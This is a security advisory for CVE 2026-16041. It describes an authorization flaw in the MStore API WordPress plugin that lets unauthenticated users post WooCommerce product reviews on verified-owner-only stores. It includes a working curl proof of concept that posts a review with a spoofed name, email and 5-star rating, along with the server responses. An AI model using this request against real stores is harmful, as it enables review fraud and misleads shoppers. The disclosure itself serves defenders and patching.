MStore API < 4.21.0 – Unauthenticated Product Review Creation | CVE 2026-16041

Description

The plugin does not perform authorization or purchase-ownership checks on its REST product-review creation route, allowing an unauthenticated attacker to create WooCommerce product reviews with an attacker-chosen reviewer name, email and star rating on stores configured to accept reviews only from verified owners.

Proof of Concept

Prerequisites: WooCommerce active with a published product. The boundary-crossing configuration is WooCommerce > Settings > Products > Reviews > "Reviews can only be left by verified owners" ENABLED (woocommerce_review_rating_verification_required = yes) - on the default config (verification not required) WooCommerce itself already accepts anonymous reviews, so this endpoint only crosses a security boundary on verified-owner-only stores. The attacker is unauthenticated.

Exploit (fully unauthenticated; comment_meta is OMITTED to skip the order-ownership branch):

curl -s -X POST 'https://TARGET/wp-json/api/flutter_woo/products/reviews' \
  -H 'Content-Type: application/json' \
  -d '{"product_id":9,"review":"unauth-poc review body","reviewer":"Elon Musk SPOOF","reviewer_email":"attacker@evil.test","rating":5}'

Result (HTTP 200): a review is created with a fully spoofed identity and rating:
{"id":2,"product_id":9,"status":"hold","reviewer":"Elon Musk SPOOF","reviewer_email":"attacker@evil.test","rating":5,"verified":false,...}

Under the same verified-owner-only config, the native WooCommerce path refuses the request: an anonymous POST to /wp-comments-post.php for the product returns a 403 "Reviews can only be left by verified owners" - so the plugin endpoint bypasses the control WooCommerce enforces.

Positive control (proves the ownership gate exists but is skipped): adding "comment_meta":{"order_id":999999} enters the ownership branch and returns 400 {"code":"cookie_required","message":"User-Cookie is required"}.

Note on impact: injected reviews are stored verified:false and, under default WP moderation, held (status "hold") pending moderation; stores that also disable "comment author must have a previously approved comment" would see the spoofed review published immediately, changing the product's public average rating.